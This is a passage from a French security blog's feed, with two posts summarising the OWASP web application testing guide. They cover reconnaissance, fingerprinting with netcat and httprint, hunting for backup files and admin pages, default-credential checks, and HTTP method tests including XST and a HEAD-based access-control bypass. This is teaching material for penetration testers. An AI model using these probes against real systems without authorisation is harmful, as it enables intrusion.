style="font-weight: bold;"&gt;vulnérabilités &lt;/span&gt;connues sur les éléments de l'infrastructure identifiés ? (NESSUS + securityfocus.com + tests manuels + ...)&lt;br /&gt;&lt;br /&gt;3/ Des &lt;span style="font-weight: bold;"&gt;outils d'administration&lt;/span&gt; sont-ils présents ? Accessibles ?&lt;br /&gt;&lt;span style="font-style: italic;"&gt;&lt;br /&gt;&lt;table border="1"&gt;&lt;br /&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;&lt;u&gt;A noter&lt;/u&gt; : Pour la recherche de vulnérabilités connues, voir deux précédents posts sur NESSUS et son utilisation [&lt;a href="http://mission-security.blogspot.com/2007/07/vulnerability-assessment-mission-find.html"&gt;ici&lt;/a&gt;] et [&lt;a href="http://mission-security.blogspot.com/2008/03/pentesting-vulnerability-assessment.html"&gt;là&lt;/a&gt;].&lt;br /&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt;&lt;/span&gt;&lt;u&gt;&lt;br /&gt;2.4 - CM-004 : Configuration de l'application&lt;br /&gt;&lt;br /&gt;&lt;/u&gt;&lt;div style="text-align: justify;"&gt;La présente section a pour but d'identifier les problèmes de configuration globaux de l'application et la gestion des logs.&lt;br /&gt;&lt;/div&gt;&lt;span style="font-style: italic;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;div style="text-align: justify;"&gt;&lt;span&gt;1/ &lt;/span&gt;&lt;span&gt;Des&lt;span style="font-weight: bold;"&gt; fichiers &lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span style="font-weight: bold;"&gt;d'installation / connus&lt;/span&gt; sont-ils présents sur le serveur ? (ex : les fichiers d'installation par défaut d'Apache).&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_BhVyBIyY5_8/SV5U2yLQPpI/AAAAAAAAAbw/FYiDEQG3kGs/s1600-h/installation_files.PNG"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 320px; height: 229px;" src="http://4.bp.blogspot.com/_BhVyBIyY5_8/SV5U2yLQPpI/AAAAAAAAAbw/FYiDEQG3kGs/s400/installation_files.PNG" alt="" id="BLOGGER_PHOTO_ID_5286756312738184850" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;2/ Passer en revue les &lt;span style="font-weight: bold;"&gt;commentaires &lt;/span&gt;contenus dans le code source des pages de l'application.&lt;br /&gt;&lt;br /&gt;En boîte grise,&lt;br /&gt;&lt;br /&gt;3/ Auditer les fichiers de &lt;span style="font-weight: bold;"&gt;configuration &lt;/span&gt;du serveur WEB. Le niveau de sécurité est-il suffisant ?&lt;br /&gt;&lt;br /&gt;4/ La &lt;span style="font-weight: bold;"&gt;gestion des logs&lt;/span&gt; est-elle satisfaisante ?&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Comment sont traitées les informations sensibles ?&lt;/li&gt;&lt;li&gt;Où sont stockés les logs ?&lt;/li&gt;&lt;li&gt;De quel manière sont-il stockés ? (espace disque suffisant ? partitionnés par application ? supervisés ?)&lt;/li&gt;&lt;li&gt;Comment est appliquée la gestion des logs ? (période ? compression des archives ? permissions  attribuées sur les archives suffisamment restrictives ?) &lt;/li&gt;&lt;li&gt;Les logs importants sont-ils bien audités ? (ex : erreurs 40x et 50x).&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;&lt;u&gt;&lt;br /&gt;2.5 - CM-005 : Contrôle des extensions de fichiers&lt;br /&gt;&lt;br /&gt;&lt;/u&gt;&lt;div style="text-align: justify;"&gt;&lt;div style="text-align: justify;"&gt;Les extensions de fichiers peuvent d'une part révéler de nouvelles informations. D'autre part, elles peuvent prouver l'existence d'un type de fichier et donc la présence d'informations sensible s et/ou techniques.&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;1/ Lancer des &lt;span style="font-weight: bold;"&gt;requêtes HTTP&lt;/span&gt; avec des ressources dont l'extension est différente. Quel est le comportement du serveur WEB ?&lt;br /&gt;&lt;br /&gt;2/ Trouver les répertoires contenant les &lt;span style="font-weight: bold;"&gt;scripts &lt;/span&gt;(grâce à &lt;a href="http://www.nessus.org/nessus/"&gt;Nessus&lt;/a&gt;, &lt;a href="http://www.cirt.net/nikto2"&gt;Nikto&lt;/a&gt;, Crawler, ...).&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;u&gt;2.6 - CM-006 : Fichiers anciens, de sauvegarde et non référencés&lt;br /&gt;&lt;/u&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;Bien souvent, des fichiers sont stockés sur le serveur par oubli ou par mégarde. Malheureusement, ils fournissent souvent des informations précieuses ou des accès illégitimes.&lt;br /&gt;&lt;/div&gt;&lt;/div&gt;&lt;br /&gt;1/ &lt;span style="font-weight: bold;"&gt;Déduire&lt;/span&gt; l'existence de nouveaux fichiers / répertoires. Par exemple,&lt;br /&gt;&lt;ul&gt;&lt;li&gt;s'il existe le fichier &lt;span style="font-family:courier new;"&gt;removeuser.asp&lt;/span&gt;, tenter &lt;span style="font-family:courier new;"&gt;adduser.asp&lt;/span&gt; ;&lt;/li&gt;&lt;li&gt;s'il existe le répertoire &lt;span style="font-family:courier new;"&gt;/users&lt;/span&gt;, existe-t-il le répertoire&lt;span style="font-family:courier new;"&gt; /admin&lt;/span&gt; ?&lt;/li&gt;&lt;/ul&gt;2/ Trouver de nouveaux fichiers qui seraient &lt;span style="font-weight: bold;"&gt;cités &lt;/span&gt;:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;dans les commentaires du code source ; &lt;/li&gt;&lt;li&gt;dans les codes javascript ;&lt;/li&gt;&lt;li&gt;dans le fichier &lt;span style="font-family:courier new;"&gt;robots.txt&lt;/span&gt;.&lt;/li&gt;&lt;/ul&gt;Exemple récupéré sur le site &lt;span style="font-style: italic;"&gt;www.lemonde.fr&lt;/span&gt;/&lt;span style="font-style: italic;"&gt;robots.txt&lt;/span&gt; :&lt;br /&gt;&lt;pre&gt;&lt;blockquote&gt;User-agent: *&lt;br /&gt;Disallow: /web/recherche_resultats/&lt;br /&gt;Disallow: /web/recherche/&lt;br /&gt;Disallow: /web/yahoosearch/resultats/&lt;br /&gt;Disallow: /web/newsletter_exemple/&lt;br /&gt;Disallow: /web/teaser/&lt;br /&gt;Disallow: /web/inscription_newsletter/&lt;br /&gt;Disallow: /qui-sommes-nous/&lt;br /&gt;Disallow: /web/abopapier/&lt;br /&gt;Disallow: /services-aux-internautes/&lt;br /&gt;Disallow: /web/ep/service_clients/&lt;br /&gt;Disallow: /web/siteweb/&lt;br /&gt;Disallow: /web/imprimer_element/&lt;br /&gt;Disallow: /web/imprimer_archive/&lt;/blockquote&gt;&lt;br /&gt;&lt;/pre&gt;&lt;div style="text-align: justify;"&gt;3/ Tenter de trouver de nouveaux fichiers en modifiant leur &lt;span style="font-weight: bold;"&gt;extension &lt;/span&gt;ou en ajoutant une nouvelle (ex : &lt;span style="font-family:courier new;"&gt;.bak&lt;/span&gt;, &lt;span style="font-family:courier new;"&gt;.old&lt;/span&gt;, etc ...).&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;4/ Chercher s'il existe des &lt;span style="font-weight: bold;"&gt;vulnérabilités &lt;/span&gt;connues affectant le serveur WEB permettant par exemple de lister les répertoires et fichiers ou de récupérer des informations techniques.&lt;br /&gt;&lt;br /&gt;5/ &lt;span style="font-weight: bold;"&gt;Chercher &lt;/span&gt;des fichiers via :&lt;br /&gt;&lt;ul&gt;&lt;li&gt;les moteurs de recherche ;&lt;/li&gt;&lt;li&gt;la page cache sauvegardée par Google, Yahoo, ou les sites d'archivage (ex : &lt;a href="http://www.archive.org/index.php"&gt;archive.org&lt;/a&gt;) ;&lt;/li&gt;&lt;li&gt;les liens fournis par les sites tiers.&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;u&gt;2.7 - CM-007 : Interfaces d'administration de l'infrastructure ou de l'application&lt;/u&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;Les interfaces d'administration permettent d'acquérir des droits plus importants ou du moins, d'exécuter des commandes qui ne sont pas permises pour un utilisateur standard. De tels accès peuvent mener à la compromission du serveur lui-même.&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;1/ &lt;span style="font-weight: bold;"&gt;Énumérer &lt;/span&gt;les répertoires et fichiers pouvant contenir une interface d'administration (ex : &lt;span style="font-family:courier new;"&gt;/admin&lt;/span&gt;).&lt;br /&gt;&lt;br /&gt;2/ Trouver les interfaces grâce aux &lt;span style="font-weight: bold;"&gt;commentaires &lt;/span&gt;ou aux &lt;span style="font-weight: bold;"&gt;liens &lt;/span&gt;WEB parcourus par l'application.&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;3/ Voir la &lt;span style="font-weight: bold;"&gt;documentation &lt;/span&gt;du serveur et de l'application pour en connaître les répertoires d'administration par défaut. Éventuellement, testes les couples login/mot de passe par défaut (ex : &lt;a href="http://www.phenoelit-us.org/dpl/dpl.html"&gt;site&lt;/a&gt;).&lt;br /&gt;&lt;br /&gt;4/ Trouver une interface d'administration sur &lt;span style="font-weight: bold;"&gt;un autre port&lt;/span&gt;. Cet exemple a été abordé dans des posts plus anciens avec &lt;a href="http://mission-security.blogspot.com/2008/06/web-pentesting-hack-jonas-web.html"&gt;JonAs&lt;/a&gt; et &lt;a href="http://mission-security.blogspot.com/2008/12/pentesting-jboss-hacking.html"&gt;JBoss&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_BhVyBIyY5_8/SV6eiOjLkrI/AAAAAAAAAb4/YEAdudUob3E/s1600-h/admin_page.JPG"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 345px; height: 189px;" src="http://4.bp.blogspot.com/_BhVyBIyY5_8/SV6eiOjLkrI/AAAAAAAAAb4/YEAdudUob3E/s400/admin_page.JPG" alt="" id="BLOGGER_PHOTO_ID_5286837323437937330" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;5/ Est-il possible d'accéder à une interface d'administration en modifiant un &lt;span style="font-weight: bold;"&gt;cookie &lt;/span&gt;?&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;u&gt;2.8 - CM-008 : Tester les méthodes HTTP autorisées et test de l'attaque XST&lt;br /&gt;&lt;br /&gt;&lt;/u&gt;&lt;div style="text-align: justify;"&gt;Certaines méthodes HTTP permettent des actions malicieuses. Elles doivent donc être restraintes ou du moins contrôlées correctement pour éviter qu'un pirate en abuse pour exécuter des commandes arbitraires par exemple.&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;1/&lt;span&gt;Quelles sont les &lt;span style="font-weight: bold;"&gt;méthodes HTTP autorisées&lt;/span&gt; ?&lt;/span&gt; Deux manières peuvent nous apporter la réponse :&lt;br /&gt;&lt;br /&gt;a) Netcat + la méthode &lt;span style="font-family:courier new;"&gt;OPTIONS&lt;/span&gt;. Cette dernière liste toutes les méthodes actives si elle est elle-même activée.&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;nc www.cible.fr 80&lt;br /&gt;OPTIONS / HTTP/1.1&lt;/blockquote&gt;&lt;br /&gt;b) Utiliser l'outil &lt;span style="font-style: italic;"&gt;Metoscan&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;br /&gt;POST             =&gt;     N/A&lt;br /&gt;GET               =&gt;    200 (OK) / 400 (BAD REQUEST)&lt;br /&gt;CONNECT    =&gt;    200 (OK) / 400 (BAD REQUEST)&lt;br /&gt;PUT               =&gt;    200 (OK) / 400 (BAD REQUEST)&lt;br /&gt;DELETE        =&gt;    200 (OK) / 400 (BAD REQUEST)&lt;br /&gt;HEAD            =&gt;    200 (OK) / 400 (BAD REQUEST)&lt;br /&gt;TRACE          =&gt;    200 (OK) / 400 (BAD REQUEST)&lt;br /&gt;...&lt;br /&gt;&lt;/blockquote&gt;&lt;br /&gt;Bien sûr, chaque méthode peut être testée manuellement.&lt;br /&gt;&lt;br /&gt;2/ Test de l'&lt;span style="font-weight: bold;"&gt;attaque XST&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Possible si la méthode &lt;span style="font-family:courier new;"&gt;TRACE &lt;/span&gt;est active. Il faut aussi qu'une faille de type XSS (côté serveur) ou que l'exécution de code javascript (côté client) nous permette de lancer une attaque.&lt;br /&gt;&lt;br /&gt;3/ Tests des &lt;span style="font-weight: bold;"&gt;commandes arbitraires&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Tester si la méthode &lt;span style="font-family:courier new;"&gt;JEFF &lt;/span&gt;est active. Si oui, une attaque pourra être envisagée.&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;nc www.cible.fr&lt;br /&gt;JEFF / HTTP/1.1&lt;br /&gt;&lt;/blockquote&gt;&lt;br /&gt;4/ &lt;span style="font-weight: bold;"&gt;Contournement des contrôles d'accès&lt;/span&gt; via la méthode HEAD&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;nc www.cible.fr&lt;br /&gt;HEAD /admin HTTP/1.1&lt;/blockquote&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span style="font-style: italic;"&gt;&lt;br /&gt;&lt;br /&gt;A suivre : L'épisode 3 de ce post abordera l'authentification.&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9218294967285138539-6860267342367047446?l=mission-security.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mission-security.blogspot.com/feeds/6860267342367047446/comments/default' title='Publier les commentaires'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=9218294967285138539&amp;postID=6860267342367047446' title='0 commentaires'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9218294967285138539/posts/default/6860267342367047446'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9218294967285138539/posts/default/6860267342367047446'/><link rel='alternate' type='text/html' href='http://mission-security.blogspot.com/2009/01/standard-owasp-episode-2.html' title='[STANDARD] OWASP - Episode 2'/><author><name>Jer001</name><uri>http://www.blogger.com/profile/10602250886210141882</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_BhVyBIyY5_8/SV5Fp2v_bZI/AAAAAAAAAbo/HcPcmqyc6Ys/s72-c/certificat_natif.JPG' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9218294967285138539.post-4360416786464238681</id><published>2008-12-31T05:32:00.000-08:00</published><updated>2009-03-18T13:35:44.809-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Theory'/><title type='text'>[STANDARD] OWASP - Episode 1</title><content type='html'>&lt;div style="text-align: justify;"&gt;&lt;em&gt;&lt;span style="color: rgb(153, 153, 153);"&gt;Question de mode ou de professionnalisme, chacun voit les normes et standards à sa manière. Quoi qu'il en soit, elles sont là pour nous guider dans un travail tels que les tests d'intrusion qui ne peuvent être assimilés à une sciences exacte. Dans ce but, nous allons étudier la norme &lt;span style="font-weight: bold;"&gt;&lt;a href="http://www.owasp.org/"&gt;OWASP&lt;/a&gt;. &lt;/span&gt;Afin d'étudier les différents points qui y sont abordés, 10 épisodes seront rédigés sur ce blog.&lt;/span&gt;&lt;/em&gt;&lt;br /&gt;&lt;/div&gt;&lt;div align="justify"&gt;&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;strong&gt;&lt;span style="color: rgb(51, 153, 153);"&gt;1 - Avant-propos&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/strong&gt;La norme OWASP est découpée de la manière suivante :&lt;br /&gt;&lt;ul&gt;&lt;li&gt;une introduction, la présentation des bases de la norme ;&lt;/li&gt;&lt;li&gt;la phase préliminaire des tests (collecte d'information) ;&lt;/li&gt;&lt;li&gt;le déroulement des tests (9 chapitres).&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;Dans ce premier épisode, nous allons parler des deux premiers points tandis que les 9 prochains épisodes aborderont chacun des 9 chapitres.&lt;br /&gt;&lt;br /&gt;Il est important de noter que la norme étudiée est dédiée à la partie tests d'intrusion d'une application WEB. L'OWASP en propose d'autres comme un &lt;a href="http://www.owasp.org/index.php/Category:OWASP_Guide_Project"&gt;guide de développement&lt;/a&gt; et un &lt;a href="http://www.owasp.org/index.php/Category:OWASP_Code_Review_Project"&gt;guide de revue de code&lt;/a&gt; qui sont complémentaires au &lt;a href="http://www.owasp.org/index.php/Category:OWASP_Testing_Project"&gt;guide de tests&lt;/a&gt; en question [&lt;a href="https://www.owasp.org/images/5/56/OWASP_Testing_Guide_v3.pdf"&gt;télécharger&lt;/a&gt;].&lt;br /&gt;&lt;br /&gt;Pour les points 2 et 3 qui suivent, seuls les idées principales seront énoncées. Le but est d'en donner un résumé, non de les retranscrire ;)&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;&lt;span style="color: rgb(51, 153, 153);"&gt;2 -Introduction à la norme&lt;br /&gt;&lt;/span&gt;&lt;/strong&gt;&lt;/div&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;&lt;u&gt;2.1 - Le modèle SDLC&lt;/u&gt;&lt;br /&gt;&lt;br /&gt;La norme OWASP repose sur le modèle &lt;span style="font-weight: bold;"&gt;SDLC&lt;/span&gt; pour &lt;span style="font-style: italic;"&gt;Software Development Life Cycle&lt;/span&gt;. L'idée est de prendre en compte toutes les étapes de la conception d'une application WEB, c'est à dire les phases de :&lt;ul&gt;&lt;li&gt;définition (cahier des charges, RFP) ;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_BhVyBIyY5_8/SVuCmbI64nI/AAAAAAAAAa4/1Wzyhx1XWG4/s1600-h/SDLC2.JPG"&gt;&lt;img style="margin: 0pt 0pt 10px 10px; float: right; cursor: pointer; width: 269px; height: 157px;" src="http://1.bp.blogspot.com/_BhVyBIyY5_8/SVuCmbI64nI/AAAAAAAAAa4/1Wzyhx1XWG4/s400/SDLC2.JPG" alt="" id="BLOGGER_PHOTO_ID_5285962184281219698" border="0" /&gt;&lt;/a&gt;&lt;/li&gt;&lt;li&gt;conception ;&lt;/li&gt;&lt;li&gt;développement ;&lt;/li&gt;&lt;li&gt;déploiement ;&lt;/li&gt;&lt;li&gt;maintenance.&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;L'idée est que &lt;span style="font-style: italic;"&gt;plus un problème est détecté tôt, moins il coûtera en temps et en argent&lt;/span&gt;. Sachant qu'un test d'intrusion est généralement effectué juste avant son déploiement (tests avant mise en production) ou après son déploiement (pour cause de retard du lancement de tests ou tests récurrents), les trous de sécurité pourraient être traités plus en amont. C'est là qu'entrent en jeu les autres tests : &lt;span style="font-weight: bold;"&gt;revue du code et développement du code de manière sécurisée&lt;/span&gt;.&lt;br /&gt;&lt;br /&gt;A cela, il faut ajouter les interviews qui permettent d'obtenir des renseignements auprès des personnes qui ont conçu l'application et qui fourniront par conséquent des informations précieuses et permettront de régler d'éventuels erreurs en amont. S'engage alors la mise en pratique des normes plus organisationnelles tels que l'&lt;span style="font-weight: bold;"&gt;ISO 27002&lt;/span&gt;. Nous pouvons aussi considérer le standard &lt;span style="font-weight: bold;"&gt;PCI-DSS&lt;/span&gt; dans le cadre d'une application bancaire.&lt;br /&gt;&lt;br /&gt;Concrètement, la solution se trouve du côté des &lt;span style="font-weight: bold;"&gt;audits combinés &lt;/span&gt;qui permettent de considérer l'ensemble des contrôles aux différentes phases nécessaires. Ce type d'audits devraient comprendre le suivi des standards (ISO 27002), la revue de code, l'audit de configuration et les tests d'intrusion.&lt;br /&gt;&lt;br /&gt;&lt;u&gt;2.2 - L'exhaustivité des tests&lt;br /&gt;&lt;br /&gt;&lt;/u&gt;Pour s'assurer que les tests seront suffisamment exhaustifs, il y a deux concepts à prendre en compte :&lt;br /&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;établir les pré-requis avant de lancer les tests qui permettent de prendre en compte les fonctionnalités de l'application WEB et les scénarios possibles. Est-ce que toutes les menaces sont traitées et disposent d'un moyen de contrôle ? de protection ?&lt;br /&gt;&lt;/li&gt;&lt;li&gt;l'exhaustivité des tests doit porter sur les composants annexes à l'application (librairies, DLL, etc.) ;&lt;br /&gt;&lt;/li&gt;&lt;li&gt;les tests doivent être pondérés :&lt;br /&gt;&lt;/li&gt;&lt;ul&gt;&lt;li&gt;Tout d'abord, chercher les bugs (tests quantitatifs) ,&lt;br /&gt;&lt;/li&gt;&lt;li&gt;Ensuite, évaluer la pertinence et le risque associé (tests qualitatifs).&lt;/li&gt;&lt;br /&gt;&lt;/ul&gt;&lt;/ul&gt;&lt;strong&gt;&lt;span style="color: rgb(51, 153, 153);"&gt;3 -Les bases de la norme&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/strong&gt;En premier lieu, la norme recommande la suivi d'un standard de bonnes pratiques pour le développement (ex : eXtreme). Ensuite, il convient d'effectuer les tests à différentes phases :&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Avant le développement de l'application (revue des standards et polices, définition des critères de mesures) ;&lt;/li&gt;&lt;li&gt;Pendant les phases de définition et de conception (listes des pré-requis, revue de l'architecture,  modèle UML, analyse de risque) ;&lt;/li&gt;&lt;li&gt;Pendant le développement (points d'entrée de l'application ? revue de code) ;&lt;/li&gt;&lt;li&gt;Pendant le déploiement (tests d'intrusion, audit de configuration) ;&lt;/li&gt;&lt;li&gt;Pendant la phase de maintenance (gestion de l'infrastructure et de l'application elle-même, tests périodiques et gestion des modifications).&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;&lt;strong&gt;&lt;span style="color: rgb(51, 153, 153);"&gt;4 - Les tests d'intrusion&lt;br /&gt;&lt;/span&gt;&lt;/strong&gt;&lt;br /&gt;Selon la norme OWASP, les tests d'intrusion sont décomposés en :&lt;br /&gt;&lt;ul&gt;&lt;li&gt;1 phase préliminaire, la phase de collecte (&lt;span style="font-weight: bold;"&gt;IG&lt;/span&gt; pour &lt;span style="font-style: italic;"&gt;Information Gathering&lt;/span&gt;) ; &lt;/li&gt;&lt;li&gt;9 phases de tests actifs.&lt;/li&gt;&lt;/ul&gt;C'est le premier point que nous abordons dans cette dernière partie de ce post.&lt;br /&gt;&lt;br /&gt;&lt;u&gt;4.1 - IG-001 : Aspirateur de site et robots&lt;br /&gt;&lt;br /&gt;&lt;/u&gt;1/ Il s'agit de récupérer dans un premier temps le fichier &lt;span style="font-style: italic;"&gt;robots.txt&lt;/span&gt; du site WEB de la cible :&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;wget http://&lt;cible&gt;cible.fr/robots.txt&lt;/cible&gt;&lt;/blockquote&gt;&lt;br /&gt;2/ Analyser ce fichier :&lt;br /&gt;a) Il vous faut un compte google. Si vous n'en avez pas, vous pouvez vous inscrire &lt;a href="https://www.google.com/accounts/NewAccount?service=sitemaps&amp;amp;followup=http://www.google.com%2Fwebmasters%2Ftools%2Fsiteoverview%3Fhl%3Den&amp;amp;continue=http://www.google.com%2Fwebmasters%2Ftools%2Fsiteoverview%3Fhl%3Den&amp;amp;hl=fr"&gt;ici&lt;/a&gt;.&lt;br /&gt;b) Utiliser l'outil d'analyse de google.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_BhVyBIyY5_8/SVuMR9iM2OI/AAAAAAAAAbA/4AfYexiOuAM/s1600-h/analyze_robots.JPG"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 313px;" src="http://1.bp.blogspot.com/_BhVyBIyY5_8/SVuMR9iM2OI/AAAAAAAAAbA/4AfYexiOuAM/s400/analyze_robots.JPG" alt="" id="BLOGGER_PHOTO_ID_5285972827853084898" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;u&gt;4.2 - IG-002 : Moteur de recherche&lt;br /&gt;&lt;br /&gt;&lt;/u&gt;1/ Utiliser un moteur de recherche (ex : google) avec le mot clé site :&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;/blockquote&gt;&lt;blockquote&gt;site:cible.fr&lt;/blockquote&gt;&lt;br /&gt;2/ Glaner des informations sur la page enregistrée en cache :&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_BhVyBIyY5_8/SVuNvg3MzeI/AAAAAAAAAbI/J6OkhxFEWrM/s1600-h/cache.JPG"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 356px; height: 88px;" src="http://4.bp.blogspot.com/_BhVyBIyY5_8/SVuNvg3MzeI/AAAAAAAAAbI/J6OkhxFEWrM/s400/cache.JPG" alt="" id="BLOGGER_PHOTO_ID_5285974435064237538" border="0" /&gt;&lt;/a&gt;&lt;u&gt;4.3 - IG-003 : Identification des points d'entrée&lt;br /&gt;&lt;br /&gt;&lt;/u&gt;Le but ici est de récupérer des informations à l'aide d'un proxy local (tels que &lt;span style="font-style: italic;"&gt;Paros,&lt;/span&gt; &lt;span style="font-style: italic;"&gt;Webscarab &lt;/span&gt;ou &lt;span style="font-style: italic;"&gt;Burp Suite &lt;/span&gt;par exemple).&lt;br /&gt;&lt;br /&gt;1/ Ici, identifier les méthodes &lt;span style="font-weight: bold;"&gt;POST &lt;/span&gt;et &lt;span style="font-weight: bold;"&gt;GET&lt;/span&gt;, leur utilisation.&lt;br /&gt;2/ Identifier aussi les &lt;span style="font-weight: bold;"&gt;paramètres&lt;/span&gt; passés dans les URLs, les entêtes et le corps des requêtes et réponses.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_BhVyBIyY5_8/SVuYlcj3xII/AAAAAAAAAbY/f49HRsp6T_0/s1600-h/paros.JPG"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 187px;" src="http://2.bp.blogspot.com/_BhVyBIyY5_8/SVuYlcj3xII/AAAAAAAAAbY/f49HRsp6T_0/s400/paros.JPG" alt="" id="BLOGGER_PHOTO_ID_5285986356738638978" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;3/ Regarder s'il existe des champs cachés ou autre information intéressante dans le &lt;span style="font-weight: bold;"&gt;code source &lt;/span&gt;de l'application.&lt;br /&gt;4/ Étudier l'utilisation des &lt;span style="font-weight: bold;"&gt;cookies&lt;/span&gt;.&lt;br /&gt;5/ Étudier les informations qui peuvent être contenues dans les &lt;span style="font-weight: bold;"&gt;entêtes&lt;/span&gt;.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;u&gt;4.4 - IG-004 : Fingerprinting&lt;br /&gt;&lt;/u&gt;&lt;br /&gt;Il existe plusieurs manière pour trouver la version du serveur WEB et de l'OS :&lt;br /&gt;1/ Grâce à &lt;span style="font-weight: bold;"&gt;Netcat&lt;/span&gt; :&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;nc &lt;ip_cible&gt; &lt;/ip_cible&gt;cible.fr &lt;ip_cible&gt;80&lt;br /&gt;HEAD / HTTP/1.0&lt;br /&gt;&lt;/ip_cible&gt;&lt;/blockquote&gt;2/ Si l'entête ne fournit pas directement les informations recherchées, l'&lt;span style="font-weight: bold;"&gt;ordre des champs &lt;/span&gt;peut fournir la réponse.&lt;br /&gt;3/ Tenter les &lt;span style="font-weight: bold;"&gt;requêtes malformées&lt;/span&gt; (exemples) :&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;nc &lt;ip_cible&gt; &lt;/ip_cible&gt;cible.fr &lt;ip_cible&gt;80&lt;br /&gt;HEAD /truc.html HTTP/1.0&lt;br /&gt;HEAD / HTTP/3.0&lt;/ip_cible&gt;&lt;/blockquote&gt;&lt;br /&gt;4/ Utiliser les outils automatisés comme &lt;span style="font-weight: bold;"&gt;httprint &lt;/span&gt;:&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;./httprint -h cible.fr&lt;cible.fr&gt; -s signatures.txt&lt;/cible.fr&gt;&lt;/blockquote&gt;&lt;br /&gt;5/ Le site &lt;span style="font-weight: bold;"&gt;Netcraft&lt;/span&gt; [&lt;a href="http://www.netcraft.com/"&gt;site&lt;/a&gt;]&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_BhVyBIyY5_8/SVuTaB10XYI/AAAAAAAAAbQ/n5M9HNixUks/s1600-h/netcraft.JPG"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 66px;" src="http://2.bp.blogspot.com/_BhVyBIyY5_8/SVuTaB10XYI/AAAAAAAAAbQ/n5M9HNixUks/s400/netcraft.JPG" alt="" id="BLOGGER_PHOTO_ID_5285980663029456258" border="0" 